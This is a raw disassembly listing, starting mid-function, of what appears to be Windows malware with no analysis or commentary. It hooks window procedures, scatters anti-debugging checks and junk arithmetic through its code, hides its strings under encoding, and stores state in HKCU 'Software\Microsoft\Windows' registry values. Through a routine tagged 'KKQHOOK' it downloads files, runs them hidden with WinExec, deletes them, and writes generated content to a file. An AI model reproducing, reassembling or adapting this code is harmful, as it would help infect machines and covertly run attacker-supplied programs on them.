call GetWindowLongA ; GetWindowLongA
mov dword_41F9F4, eax
mov [ebp+var_126], 1283h
inc [ebp+var_126]
push offset sub_40B2CA ; dwNewLong
push 0FFFFFFFCh ; nIndex
push dword_432DC0 ; hWnd
call SetWindowLongA ; SetWindowLongA
lea edi, [ebp+var_163]
lea esi, word_4469BE
mov ecx, 3
rep movsw
push 0FFFFFFFCh ; nIndex
push dword_41E8C4 ; hWnd
call GetWindowLongA ; GetWindowLongA
mov dword_41E8C0, eax
push offset sub_40B2CA ; dwNewLong
push 0FFFFFFFCh ; nIndex
push dword_41E8C4 ; hWnd
call SetWindowLongA ; SetWindowLongA
call GetProcessHeap ; GetProcessHeap
push 0FFFFFFFCh ; nIndex
push dword_41081C ; hWnd
call GetWindowLongA ; GetWindowLongA
mov dword_40E078, eax
mov [ebp+var_12C], 373Eh
inc [ebp+var_12C]
push offset sub_40B2CA ; dwNewLong
push 0FFFFFFFCh ; nIndex
push dword_41081C ; hWnd
call SetWindowLongA ; SetWindowLongA
push 0FFFFFFFCh ; nIndex
push dword_41E8BC ; hWnd
call GetWindowLongA ; GetWindowLongA
mov dword_413F1C, eax
call IsDebuggerPresent ; IsDebuggerPresent
push offset sub_40B2CA ; dwNewLong
push 0FFFFFFFCh ; nIndex
push dword_41E8BC ; hWnd
call SetWindowLongA ; SetWindowLongA
call GetLastError
push dword_432DC0 ; hWnd
call SetFocus ; SetFocus
pop edi
pop esi
pop ebx
leave
retn
sub_408ED0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
; DWORD __stdcall sub_4098A8(LPVOID)
sub_4098A8 proc near ; DATA XREF: sub_40AA24+80Fo
var_5614 = dword ptr -5614h
var_5610 = dword ptr -5610h
var_5609 = byte ptr -5609h
var_5602 = word ptr -5602h
var_5600 = dword ptr -5600h
var_55FA = byte ptr -55FAh
var_55F9 = byte ptr -55F9h
var_55F8 = dword ptr -55F8h
var_55F4 = dword ptr -55F4h
lpString = dword ptr -55F0h
NumberOfBytesWritten= dword ptr -55ECh
var_55E6 = dword ptr -55E6h
var_55E1 = byte ptr -55E1h
var_55DC = dword ptr -55DCh
var_55D6 = dword ptr -55D6h
var_472D = byte ptr -472Dh
var_472C = byte ptr -472Ch
var_4724 = byte ptr -4724h
var_471F = byte ptr -471Fh
var_4718 = dword ptr -4718h
var_4714 = byte ptr -4714h
var_470C = dword ptr -470Ch
var_4708 = dword ptr -4708h
var_4702 = byte ptr -4702h
var_4701 = byte ptr -4701h
var_4700 = word ptr -4700h
var_46FE = word ptr -46FEh
var_46FC = dword ptr -46FCh
var_46F5 = byte ptr -46F5h
var_46F4 = byte ptr -46F4h
var_46F0 = dword ptr -46F0h
hObject = dword ptr -46ECh
var_46E6 = word ptr -46E6h
var_46E4 = dword ptr -46E4h
var_46E0 = dword ptr -46E0h
var_46DA = byte ptr -46DAh
hFile = dword ptr -45E8h
var_45E4 = dword ptr -45E4h
var_45E0 = dword ptr -45E0h
Format = byte ptr -45DBh
CmdLine = byte ptr -45D7h
var_35DF = byte ptr -35DFh
var_35DE = byte ptr -35DEh
var_35DD = byte ptr -35DDh
var_35DC = dword ptr -35DCh
var_35D8 = dword ptr -35D8h
var_35D2 = word ptr -35D2h
var_35D0 = word ptr -35D0h
var_35CE = byte ptr -35CEh
var_35CD = dword ptr -35CDh
var_25CE = word ptr -25CEh
var_25CC = dword ptr -25CCh
var_25C5 = byte ptr -25C5h
Src = byte ptr -25C4h
var_25C1 = byte ptr -25C1h
var_25BF = byte ptr -25BFh
var_15D0 = dword ptr -15D0h
var_15CC = dword ptr -15CCh
var_15C6 = byte ptr -15C6h
var_15C5 = byte ptr -15C5h
var_15C2 = word ptr -15C2h
var_15C0 = dword ptr -15C0h
var_15BC = dword ptr -15BCh
lpSubKey = dword ptr -15B8h
var_1163 = byte ptr -1163h
var_1162 = dword ptr -1162h
var_115E = byte ptr -115Eh
var_1158 = byte ptr -1158h
var_1155 = byte ptr -1155h
Type = dword ptr -1154h
var_114D = byte ptr -114Dh
var_1146 = byte ptr -1146h
var_1145 = byte ptr -1145h
var_1140 = dword ptr -1140h
var_113C = byte ptr -113Ch
var_113B = byte ptr -113Bh
var_1134 = byte ptr -1134h
var_112E = word ptr -112Eh
Source = byte ptr -112Bh
cbData = dword ptr -102Ch
var_1028 = dword ptr -1028h
var_1024 = dword ptr -1024h
var_101F = byte ptr -101Fh
var_101E = word ptr -101Eh
var_101C = dword ptr -101Ch
Data = byte ptr -1018h
var_1014 = dword ptr -1014h
var_1010 = byte ptr -1010h
hMem = dword ptr -0F0Ch
Dest = byte ptr -0F08h
var_708 = dword ptr -708h
var_703 = byte ptr -703h
var_604 = dword ptr -604h
Dst = byte ptr -600h
var_5A8 = byte ptr -5A8h
var_5A7 = byte ptr -5A7h
FileName = byte ptr -400h
push ebp
mov ebp, esp
mov eax, 5614h
call sub_40C6B8
push ebx
push esi
push edi
call GetVersion ; GetVersion
mov ax, word_4469C4
mov [ebp+var_112E+1], ax
lea edi, [ebp+var_1134]
lea esi, word_4469C6
mov ecx, 7
rep movsb
lea edi, [ebp+var_113B]
lea esi, byte_4469CD
mov ecx, 7
rep movsb
lea edi, [ebp+var_113C]
lea esi, byte_4469D4
xor ecx, ecx
inc ecx
rep movsb
mov eax, dword_4469D5
mov [ebp+var_1140], eax
lea edi, [ebp+var_1145]
lea esi, byte_4469D9
mov ecx, 5
rep movsb
call GetTickCount ; GetTickCount
push eax ; Seed
call srand ; srand
pop ecx
mov [ebp+var_101C], 6594h
inc [ebp+var_101C]
loc_40993B: ; CODE XREF: sub_4098A8+1108j
lea edi, [ebp+var_1146]
lea esi, byte_4469DE
xor ecx, ecx
inc ecx
rep movsb
mov eax, dword_43C094
add eax, 3
push eax
lea eax, [ebp+var_703]
push eax
call sub_40172F
push 9 ; Size
push offset byte_446D1F ; Src
call sub_40129C
lea edi, [ebp+var_703]
push edi
push offset Buffer
push eax ; Format
lea edi, [ebp+FileName]
push edi ; Dest
call sprintf ; sprintf
call IsDebuggerPresent ; IsDebuggerPresent
lea eax, [ebp+FileName]
push eax
call sub_40341E
mov [ebp+var_101E], 5439h
sub [ebp+var_101E], 33A0h
lea edi, [ebp+var_114D]
lea esi, byte_4469DF
mov ecx, 7
rep movsb
push 9 ; Size
push offset byte_446D15 ; Src
call sub_40129C
mov edi, dword_43C0BC
push off_43C0C4[edi*4]
push eax ; Format
lea edi, [ebp+Dest]
push edi ; Dest
call sprintf ; sprintf
push 1 ; Size
push offset byte_446D13 ; Src
call sub_40129C
mov edi, 13h
sub edi, dword_43C098
push edi
push eax
mov edi, dword_43C0BC
push off_43C0C4[edi*4]
call sub_40181A
add esp, 4Ch
cmp eax, 0FFFFh
jnz short loc_409A33
push 9 ; Size
push offset byte_446D09 ; Src
call sub_40129C
push eax ; Source
lea edi, [ebp+Dest]
push edi ; Dest
call strcat ; strcat
add esp, 10h
loc_409A33: ; CODE XREF: sub_4098A8+16Dj
call IsDebuggerPresent ; IsDebuggerPresent
and dword ptr [ebp+Data], 0
mov [ebp+cbData], 4
lea edi, [ebp+var_1155]
lea esi, byte_4469E6
xor ecx, ecx
inc ecx
rep movsb
push 1Ah ; Size
push offset aZAgJIsJZAigGz ; "‡»² £µ¦±ˆ™½·¦»§»² ˆƒ½º°»£§"
call sub_40129C
mov [ebp+lpSubKey], eax
push 3 ; Size
push offset word_446CEA ; Src
call sub_40129C
lea edi, [ebp+Type]
push edi ; lpType
lea edi, [ebp+cbData]
push edi ; lpcbData
lea edi, [ebp+Data]
push edi ; lpData
push eax ; lpValueName
mov edi, [ebp+lpSubKey]
push edi ; lpSubKey
push 80000001h ; hKey
call sub_4014C9
mov [ebp+var_101F], 6Ah
add [ebp+var_101F], 1
lea edi, [ebp+var_1158]
lea esi, byte_4469E7
mov ecx, 3
rep movsb
push 7 ; Size
push offset word_446CE2 ; Src
call sub_40129C
push dword ptr [ebp+Data]
push eax ; Format
lea edi, [ebp+Source]
push edi ; Dest
call sprintf ; sprintf
call GetLastError
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call strcat ; strcat
mov [ebp+var_1024], 7ED9h
mov eax, 39E6h
mul [ebp+var_1024]
mov [ebp+var_15BC], eax
mov [ebp+var_1024], eax
push 1 ; Size
push offset byte_446CE0 ; Src
call sub_40129C
lea edi, [ebp+var_604]
push edi ; int
push 0 ; int
push 0 ; int
push eax ; int
push offset ClassName ; "KKQHOOK"
lea edi, [ebp+FileName]
push edi ; lpFileName
lea edi, [ebp+Dest]
push edi ; int
push 0 ; hMem
call sub_4061F7
add esp, 6Ch
mov ebx, eax
mov [ebp+var_1028], 47D6h
mov eax, 2DD7h
mul [ebp+var_1028]
mov [ebp+var_15C0], eax
mov [ebp+var_1028], eax
or ebx, ebx
jnz short loc_409BA8
call GetCurrentProcessId ; GetCurrentProcessId
lea eax, [ebp+FileName]
push eax
call sub_40349A
pop ecx
mov [ebp+var_15C2], 2655h
movzx eax, [ebp+var_15C2]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_15C2], ax
jmp loc_40A8A0
; ---------------------------------------------------------------------------
loc_409BA8: ; CODE XREF: sub_4098A8+2CAj
and dword ptr [ebp+Data], 0
push 1Ah ; Size
push offset aZAgJIsJZAigGz ; "‡»² £µ¦±ˆ™½·¦»§»² ˆƒ½º°»£§"
call sub_40129C
mov [ebp-15C4h], eax
push 3 ; Size
push offset word_446CEA ; Src
call sub_40129C
push 4 ; dwType
push 4 ; cbData
lea edi, [ebp+Data]
push edi ; lpData
push eax ; lpValueName
mov edi, [ebp-15C4h]
push edi ; lpSubKey
push 80000001h ; hKey
call sub_40160A
push 0 ; int
lea eax, [ebp+FileName]
push eax ; lpFileName
call sub_401A7E
add esp, 30h
mov [ebp+hMem], eax
or eax, eax
jz loc_40A8A0
lea edi, [ebp+var_115E]
lea esi, aOcqud ; "ocqUd"
mov ecx, 3
rep movsw
lea eax, [ebp+FileName]
push eax ; lpFileName
call DeleteFileA ; DeleteFileA
lea eax, [ebp+FileName]
push eax
call sub_40349A
pop ecx
and [ebp+var_708], 0
jmp loc_40A867
; ---------------------------------------------------------------------------
loc_409C42: ; CODE XREF: sub_4098A8+FE2j
mov ax, word_4469F0
mov [ebp+var_35D0], ax
cmp [ebp+Dst], 0
jz loc_40A867
call GetCurrentProcessId ; GetCurrentProcessId
lea ecx, [ebp+Dst]
or eax, 0FFFFFFFFh
loc_409C6A: ; CODE XREF: sub_4098A8+3C7j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_409C6A
cmp eax, 5Ch
jb loc_40A867
mov [ebp+var_25C5], 9Bh
movzx eax, [ebp+var_25C5]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_25C5], al
mov [ebp+var_5A8], 0
mov ax, word_4469F2
mov [ebp+var_35D2], ax
push 0FFFh
lea eax, [ebp+Src]
push eax
lea eax, [ebp+var_5A7]
push eax
call sub_40893E
push 0FFFh
lea eax, [ebp+var_35CD]
push eax
lea eax, [ebp+Dst]
push eax
call sub_40893E
add esp, 18h
mov [ebp+var_25CC], 1FCCh
mov eax, [ebp+var_25CC]
mov edx, eax
add edx, eax
mov [ebp+var_25CC], edx
mov [ebp+var_15C6], 0
mov [ebp+var_25CE], 35D8h
movzx eax, [ebp+var_25CE]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_25CE], ax
mov [ebp+var_15C5], 0
jmp short loc_409D40
; ---------------------------------------------------------------------------
loc_409D22: ; CODE XREF: sub_4098A8+4B1j
movzx eax, [ebp+var_15C5]
lea edx, [ebp+eax+Src]
movsx ecx, byte ptr [edx]
sub ecx, eax
mov eax, ecx
mov [edx], al
add [ebp+var_15C5], 1
loc_409D40: ; CODE XREF: sub_4098A8+478j
lea ecx, [ebp+Src]
or eax, 0FFFFFFFFh
loc_409D49: ; CODE XREF: sub_4098A8+4A6j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_409D49
movzx esi, [ebp+var_15C5]
cmp esi, eax
jb short loc_409D22
mov [ebp+var_35CE], 4
add [ebp+var_35CE], 1
lea ecx, [ebp+Src]
or eax, 0FFFFFFFFh
loc_409D72: ; CODE XREF: sub_4098A8+4CFj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_409D72
lea esi, [ebp+var_35CD]
push esi ; int
push eax ; Size
lea edi, [ebp+Src]
push edi ; Src
call sub_408779
add esp, 0Ch
mov [ebp+var_35D8], eax
push 5 ; Size
push offset word_446CDA ; Src
call sub_40129C
add esp, 8
mov edi, 13h
sub edi, dword_43C098
push edi
push eax
lea edi, [ebp+Src]
push edi
call sub_40181A
add esp, 0Ch
cmp eax, 0
jnz loc_40A2DE
mov [ebp+var_46E4], 234h
mov eax, [ebp+var_46E4]
mov edx, eax
add edx, eax
mov [ebp+var_46E4], edx
mov eax, dword_4469F4
mov [ebp+var_470C], eax
lea edi, [ebp+var_4714]
lea esi, dword_4469F8
mov ecx, 8
rep movsb
lea eax, [ebp+var_25BF]
push eax
lea eax, [ebp+Format]
push eax
call sub_40C6D8
call IsDebuggerPresent ; IsDebuggerPresent
mov [ebp+var_35DC], 0
mov [ebp+var_46E0], 4
lea eax, [ebp+var_46F4]
push eax ; lpType
lea eax, [ebp+var_46E0]
push eax ; lpcbData
lea eax, [ebp+var_35DC]
push eax ; lpData
push offset ValueName ; "ofstkkq"
push offset SubKey ; "Software\\Microsoft\\Windows"
push 80000001h ; hKey
call sub_4014C9
add esp, 18h
mov [ebp+var_46F5], 9Dh
movzx eax, [ebp+var_46F5]
imul eax, 3388h
mov [ebp+var_46F5], al
mov eax, dword_43C094
add eax, 3
push eax
lea eax, [ebp+var_703]
push eax
call sub_40172F
add esp, 8
push 9 ; Size
push offset byte_446D1F ; Src
call sub_40129C
add esp, 8
lea edi, [ebp+var_703]
push edi
push offset Buffer
push eax ; Format
lea edi, [ebp+FileName]
push edi ; Dest
call sprintf ; sprintf
add esp, 10h
call GetLastError
push 1 ; Size
push offset byte_446CE0 ; Src
call sub_40129C
add esp, 8
lea edi, [ebp+var_604]
push edi ; int
push 0 ; int
push 0 ; int
push eax ; int
push offset ClassName ; "KKQHOOK"
lea edi, [ebp+FileName]
push edi ; lpFileName
lea edi, [ebp+Format]
push edi ; int
push offset byte_41FA00 ; hMem
call sub_4061F7
add esp, 20h
mov ebx, eax
call GetLastError
cmp ebx, 0
jnz short loc_409F27
mov [ebp+var_472D], 69h
add [ebp+var_472D], 1
lea eax, [ebp+FileName]
push eax
call sub_40349A
add esp, 4
call GetVersion ; GetVersion
jmp short loc_409F60
; ---------------------------------------------------------------------------
loc_409F27: ; CODE XREF: sub_4098A8+659j
push 4 ; dwType
push 4 ; cbData
lea eax, [ebp+var_604]
push eax ; lpData
push offset ValueName ; "ofstkkq"
push offset SubKey ; "Software\\Microsoft\\Windows"
push 80000001h ; hKey
call sub_40160A
mov eax, dword_446A00
mov [ebp+var_4718], eax
lea eax, [ebp+FileName]
push eax
call sub_40349A
add esp, 1Ch
loc_409F60: ; CODE XREF: sub_4098A8+67Dj
and [ebp+var_35DC], 0
mov [ebp+var_46E0], 4
call GetProcessHeap ; GetProcessHeap
lea eax, [ebp+var_46F4]
push eax ; lpType
lea eax, [ebp+var_46E0]
push eax ; lpcbData
lea eax, [ebp+var_35DC]
push eax ; lpData
push offset aOfstkkqc ; "ofstkkqc"
push offset SubKey ; "Software\\Microsoft\\Windows"
push 80000001h ; hKey
call sub_4014C9
add esp, 18h
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 4 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 80000000h ; dwDesiredAccess
push offset byte_40E080 ; lpFileName
call CreateFileA ; CreateFileA
mov [ebp+hObject], eax
push 0 ; lpFileSizeHigh
push eax ; hFile
call GetFileSize ; GetFileSize
mov [ebp+var_4708], eax
call GetVersion ; GetVersion
push [ebp+hObject] ; hObject
call CloseHandle ; CloseHandle
call GetLastError
mov eax, [ebp+var_4708]
cmp [ebp+var_35DC], eax
jb short loc_409FFC
call GetProcessHeap ; GetProcessHeap
jmp loc_40A157
; ---------------------------------------------------------------------------
loc_409FFC: ; CODE XREF: sub_4098A8+748j
lea edi, [ebp+var_471F]
lea esi, dword_446A04
mov ecx, 7
rep movsb
mov eax, 1Ah
sub eax, dword_43C098
push eax
lea eax, [ebp+var_46DA]
push eax
call sub_40172F
push 9 ; Size
push offset dword_446CD0 ; Src
call sub_40129C
lea edi, [ebp+var_46DA]
push edi
push offset Buffer
push eax ; Format
lea edi, [ebp+FileName]
push edi ; Dest
call sprintf ; sprintf
call IsDebuggerPresent ; IsDebuggerPresent
lea eax, [ebp+FileName]
push eax
call sub_40341E
mov [ebp+var_46FC], 3814h
add [ebp+var_46FC], 12E1h
push 1 ; Size
push offset byte_446CE0 ; Src
call sub_40129C
lea edi, [ebp+var_604]
push edi ; int
push 0 ; int
push [ebp+var_35DC] ; int
push eax ; int
push offset ClassName ; "KKQHOOK"
lea edi, [ebp+FileName]
push edi ; lpFileName
lea edi, [ebp+Format]
push edi ; int
push offset byte_40E080 ; hMem
call sub_4061F7
mov ebx, eax
mov [ebp+var_46FE], 486Fh
movzx eax, [ebp+var_46FE]
imul eax, 20EDh
mov [ebp+var_46FE], ax
lea eax, [ebp+FileName]
push eax ; lpFileName
call DeleteFileA ; DeleteFileA
lea edi, [ebp+var_4724]
lea esi, byte_446A0B
mov ecx, 5
rep movsb
lea eax, [ebp+FileName]
push eax
call sub_40349A
add esp, 50h
mov [ebp+var_4700], 1BDh
movzx eax, [ebp+var_4700]
imul eax, 1736h
mov [ebp+var_4700], ax
or ebx, ebx
jz short loc_40A157
mov dword ptr [ebp-4730h], 1381h
sub dword ptr [ebp-4730h], 2095h
cmp [ebp+var_604], 0
jz short loc_40A157
push 4 ; dwType
push 4 ; cbData
lea eax, [ebp+var_604]
push eax ; lpData
push offset aOfstkkqc ; "ofstkkqc"
push offset SubKey ; "Software\\Microsoft\\Windows"
push 80000001h ; hKey
call sub_40160A
add esp, 18h
loc_40A157: ; CODE XREF: sub_4098A8+74Fj
; sub_4098A8+86Ej ...
push 0 ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 80000000h ; dwDesiredAccess
push offset byte_415080 ; lpFileName
call CreateFileA ; CreateFileA
mov [ebp+var_46F0], eax
lea edi, [ebp+var_472C]
lea esi, dword_446A10
movsd
movsd
cmp [ebp+var_46F0], 0FFFFFFFFh
jz loc_40A8A0
call GetTickCount ; GetTickCount
push [ebp+var_46F0] ; hObject
call CloseHandle ; CloseHandle
call GetTickCount ; GetTickCount
lea eax, [ebp+Format]
push eax ; Format
lea eax, [ebp+Dest]
push eax ; Dest
call sprintf ; sprintf
mov [ebp+var_46E6], 4301h
movzx eax, [ebp+var_46E6]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_46E6], ax
push 6 ; Size
push offset byte_446CC9 ; Src
call sub_40129C
push eax ; Source
lea edi, [ebp+Dest]
push edi ; Dest
call strcat ; strcat
mov [ebp+var_4701], 99h
movzx eax, [ebp+var_4701]
imul eax, 2D23h
mov [ebp+var_4701], al
lea eax, [ebp+FileName]
push eax
call sub_40341E
call GetCurrentThreadId ; GetCurrentThreadId
mov eax, dword_43C094
add eax, 3
push eax
lea eax, [ebp+var_46DA]
push eax
call sub_40172F
push 9 ; Size
push offset byte_446D1F ; Src
call sub_40129C
lea edi, [ebp+var_46DA]
push edi
push offset Buffer
push eax ; Format
lea edi, [ebp+FileName]
push edi ; Dest
call sprintf ; sprintf
mov [ebp+var_4702], 0B2h
add [ebp+var_4702], 25h
push 1 ; Size
push offset byte_446CE0 ; Src
call sub_40129C
lea edi, [ebp+var_604]
push edi ; int
push 0 ; int
push [ebp+var_35DC] ; int
push eax ; int
push offset ClassName ; "KKQHOOK"
lea edi, [ebp+FileName]
push edi ; lpFileName
lea edi, [ebp+Dest]
push edi ; int
push offset byte_415080 ; hMem
call sub_4061F7
mov ebx, eax
lea eax, [ebp+FileName]
push eax ; lpFileName
call DeleteFileA ; DeleteFileA
call GetCurrentProcessId ; GetCurrentProcessId
lea eax, [ebp+FileName]
push eax
call sub_40349A
add esp, 68h
call GetTickCount ; GetTickCount
or ebx, ebx
jz short loc_40A2DE
mov eax, dword_446A18
mov [ebp-4730h], eax
push offset byte_415080 ; lpFileName
call DeleteFileA ; DeleteFileA
loc_40A2DE: ; CODE XREF: sub_4098A8+51Cj
; sub_4098A8+A1Fj
cmp [ebp+Src], 3Ah
jnz loc_40A499
cmp [ebp+var_25C1], 3Ah
jnz loc_40A499
call GetCurrentProcessId ; GetCurrentProcessId
mov [ebp+var_25C1], 0
push 5 ; Size
push offset byte_446CC3 ; Src
call sub_40129C
lea edi, [ebp+var_35DC]
push edi
push eax ; Format
lea edi, [ebp+Src]
push edi ; Src
call sscanf ; sscanf
add esp, 14h
call GetVersion ; GetVersion
cmp [ebp+var_35DC], 0
jz short loc_40A35E
call rand ; rand
mov edx, 621B97C3h
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 1Fh
sub edx, ecx
mov eax, edx
pop ecx
mov edi, eax
inc edi
cmp edi, [ebp+var_35DC]
ja loc_40A867
loc_40A35E: ; CODE XREF: sub_4098A8+A8Bj
mov [ebp+var_35DD], 36h
add [ebp+var_35DD], 1
cmp VersionInformation.dwPlatformId, 2
jnz short loc_40A3DE
mov [ebp+var_35DF], 79h
movzx eax, [ebp+var_35DF]
imul eax, 2939h
mov [ebp+var_35DF], al
push 400h ; uSize
lea eax, [ebp+FileName]
push eax ; lpBuffer
call GetSystemDirectoryA ; GetSystemDirectoryA
push 0Ah ; Size
push offset dword_446CB8 ; Src
call sub_40129C
lea edi, [ebp+FileName]
push edi
push eax ; Format
lea edi, [ebp+var_1010]
push edi ; Dest
call sprintf ; sprintf
push 8 ; Size
push offset byte_446CAF ; Src
call sub_40129C
push eax ; Source
lea edi, [ebp+FileName]
push edi ; Dest
call strcat ; strcat
add esp, 24h
jmp short loc_40A43F
; ---------------------------------------------------------------------------
loc_40A3DE: ; CODE XREF: sub_4098A8+ACBj
call GetTickCount ; GetTickCount
push 400h ; uSize
lea eax, [ebp+FileName]
push eax ; lpBuffer
call GetWindowsDirectoryA ; GetWindowsDirectoryA
call GetTickCount ; GetTickCount
push 0Eh ; Size
push offset dword_446CA0 ; Src
call sub_40129C
lea edi, [ebp+FileName]
push edi
push eax ; Format
lea edi, [ebp+var_1010]
push edi ; Dest
call sprintf ; sprintf
call GetCurrentProcessId ; GetCurrentProcessId
push 0Ch ; Size
push offset byte_446C93 ; Src
call sub_40129C
push eax ; Source
lea edi, [ebp+FileName]
push edi ; Dest
call strcat ; strcat
add esp, 24h
call GetCurrentProcessId ; GetCurrentProcessId
loc_40A43F: ; CODE XREF: sub_4098A8+B34j
lea eax, [ebp+var_1010]
push eax ; lpFileName
call DeleteFileA ; DeleteFileA
call GetCurrentProcessId ; GetCurrentProcessId
push 8 ; Size
push offset word_446C8A ; Src
call sub_40129C
lea edi, [ebp+Src]
add edi, 4
push edi
lea edi, [ebp+FileName]
push edi
push eax ; Format
lea edi, [ebp+FileName]
push edi ; Dest
call sprintf ; sprintf
add esp, 18h
push 0 ; uCmdShow
lea eax, [ebp+FileName]
push eax ; lpCmdLine
call WinExec ; WinExec
mov [ebp+var_35DE], 3Dh
add [ebp+var_35DE], 10h
loc_40A499: ; CODE XREF: sub_4098A8+A3Dj
; sub_4098A8+A4Aj
push 5 ; Size
push offset dword_446C84 ; Src
call sub_40129C
mov edi, 13h
sub edi, dword_43C098
push edi
push eax
lea edi, [ebp+Src]
push edi
call sub_40181A
add esp, 14h
or eax, eax
jnz loc_40A62C
call GetCurrentThreadId ; GetCurrentThreadId
mov [ebp+var_55DC], 1060h
sub [ebp+var_55DC], 872h
lea edi, [ebp+var_55E1]
lea esi, dword_446A1C
mov ecx, 5
rep movsb
mov eax, 19h
sub eax, dword_43C098
push eax
lea eax, [ebp+var_703]
push eax
call sub_40172F
push 9 ; Size
push offset byte_446D1F ; Src
call sub_40129C
lea edi, [ebp+var_703]
push edi
push offset Buffer
push eax ; Format
lea edi, [ebp+CmdLine]
push edi ; Dest
call sprintf ; sprintf
mov eax, dword_446A21
mov [ebp+var_55E6+1], eax
mov eax, dword_446A25
mov [ebp+NumberOfBytesWritten+3], eax
lea eax, [ebp+var_25BF]
push eax
lea eax, [ebp+var_55D6]
push eax
call sub_40C6D8
call GetLastError
push 3 ; Size
push offset dword_446C80 ; Src
call sub_40129C
mov [ebp+lpString], eax
push 1 ; Size
push offset byte_446CE0 ; Src
call sub_40129C
push 0 ; int
push 0 ; int
push 0 ; int
push eax ; int
mov edi, [ebp+lpString]
push edi ; lpString
lea edi, [ebp+CmdLine]
push edi ; lpFileName
lea edi, [ebp+var_55D6]
push edi ; int
push 0 ; hMem
call sub_4061F7
add esp, 50h
mov ebx, eax
lea edi, [ebp+NumberOfBytesWritten+2]
lea esi, byte_446A29
xor ecx, ecx
inc ecx
rep movsb
cmp ebx, 2
jnz short loc_40A62C
mov [ebp+var_55F4], 554Dh
mov eax, 565Ch
mul [ebp+var_55F4]
mov [ebp+var_55F8], eax
mov [ebp+var_55F4], eax
push 0 ; uCmdShow
lea eax, [ebp+CmdLine]
push eax ; lpCmdLine
call WinExec ; WinExec
push 6 ; Size
push offset byte_446C79 ; Src
call sub_40129C
mov edi, 13h
sub edi, dword_43C098
push edi
push eax
lea edi, [ebp+var_55D6]
push edi
call sub_40181A
add esp, 14h
cmp eax, 0FFFFh
jz short loc_40A62C
mov eax, 13h
sub eax, dword_43C098
push eax ; Code
call exit ; exit
; ---------------------------------------------------------------------------
pop ecx
loc_40A62C: ; CODE XREF: sub_4098A8+C1Bj
; sub_4098A8+D12j ...
push 5 ; Size
push offset byte_446C73 ; Src
call sub_40129C
mov edi, 6
sub edi, dword_43C094
push edi
push eax
lea edi, [ebp+Src]
push edi
call sub_40181A
add esp, 14h
or eax, eax
jnz loc_40A867
mov ax, word_446A2A
mov [ebp+var_5602], ax
call GetTickCount ; GetTickCount
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 2 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 40000000h ; dwDesiredAccess
push offset ExistingFileName ; lpFileName
call CreateFileA ; CreateFileA
mov [ebp+hFile], eax
mov [ebp+lpString], 3Ch
add [ebp+lpString], 5583h
push 6 ; Size
push offset dword_446C6C ; Src
call sub_40129C
add esp, 8
push 0 ; lpOverlapped
lea edi, [ebp+NumberOfBytesWritten]
push edi ; lpNumberOfBytesWritten
mov edi, 18h
sub edi, dword_43C098
push edi ; nNumberOfBytesToWrite
push eax ; lpBuffer
push [ebp+hFile] ; hFile
call WriteFile ; WriteFile
lea eax, [ebp+var_25BF]
push eax
lea eax, [ebp+Format]
push eax
call sub_40C6D8
mov word ptr [ebp+var_55F4+2], 1AEFh
inc word ptr [ebp+var_55F4+2]
lea ecx, [ebp+Format]
or eax, 0FFFFFFFFh
loc_40A6FD: ; CODE XREF: sub_4098A8+E5Aj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_40A6FD
mov [ebp+var_45E0], eax
mov [ebp+var_35DC], 0
jmp short loc_40A73A
; ---------------------------------------------------------------------------
loc_40A716: ; CODE XREF: sub_4098A8+E9Ej
mov eax, [ebp+var_35DC]
cmp [ebp+eax+Format], 7Ch
jnz short loc_40A734
mov eax, [ebp+var_35DC]
mov [ebp+eax+Format], 0
loc_40A734: ; CODE XREF: sub_4098A8+E7Cj
inc [ebp+var_35DC]
loc_40A73A: ; CODE XREF: sub_4098A8+E6Cj
mov eax, [ebp+var_45E0]
cmp [ebp+var_35DC], eax
jb short loc_40A716
lea edi, [ebp+var_5609]
lea esi, dword_446A2C
mov ecx, 7
rep movsb
and [ebp+var_45E4], 0
loc_40A762: ; CODE XREF: sub_4098A8+F90j
push 1Fh ; Size
push offset dword_446C4C ; Src
call sub_40129C
mov edi, [ebp+var_45E4]
lea edi, [ebp+edi+Format]
push edi
push eax ; Format
lea edi, [ebp-55E7h]
push edi ; Dest
call sprintf ; sprintf
add esp, 14h
mov byte ptr [ebp+var_55F4+1], 0CCh
add byte ptr [ebp+var_55F4+1], 1
lea ecx, [ebp-55E7h]
or eax, 0FFFFFFFFh
loc_40A7A3: ; CODE XREF: sub_4098A8+F00j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_40A7A3
push 0 ; lpOverlapped
lea esi, [ebp+NumberOfBytesWritten]
push esi ; lpNumberOfBytesWritten
push eax ; nNumberOfBytesToWrite
lea edi, [ebp-55E7h]
push edi ; lpBuffer
push [ebp+hFile] ; hFile
call WriteFile ; WriteFile
mov [ebp+var_55F8], 0FBh
mov eax, 2DF3h
mul [ebp+var_55F8]
mov [ebp+var_5610], eax
mov eax, [ebp+var_5610]
mov [ebp+var_55F8], eax
mov eax, [ebp+var_45E4]
mov [ebp+var_5614], eax
lea ecx, [ebp+eax+Format]
or eax, 0FFFFFFFFh
loc_40A803: ; CODE XREF: sub_4098A8+F60j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_40A803
mov esi, [ebp+var_5614]
add esi, eax
mov [ebp+var_45E4], esi
mov [ebp+var_55F9], 17h
add [ebp+var_55F9], 0FAh
inc [ebp+var_45E4]
mov eax, [ebp+var_45E0]
cmp [ebp+var_45E4], eax
jb loc_40A762
mov [ebp+var_55FA], 0B8h
sub [ebp+var_55FA], 50h
push [ebp+hFile] ; hObject
call CloseHandle ; CloseHandle
mov [ebp+var_5600], 5720h
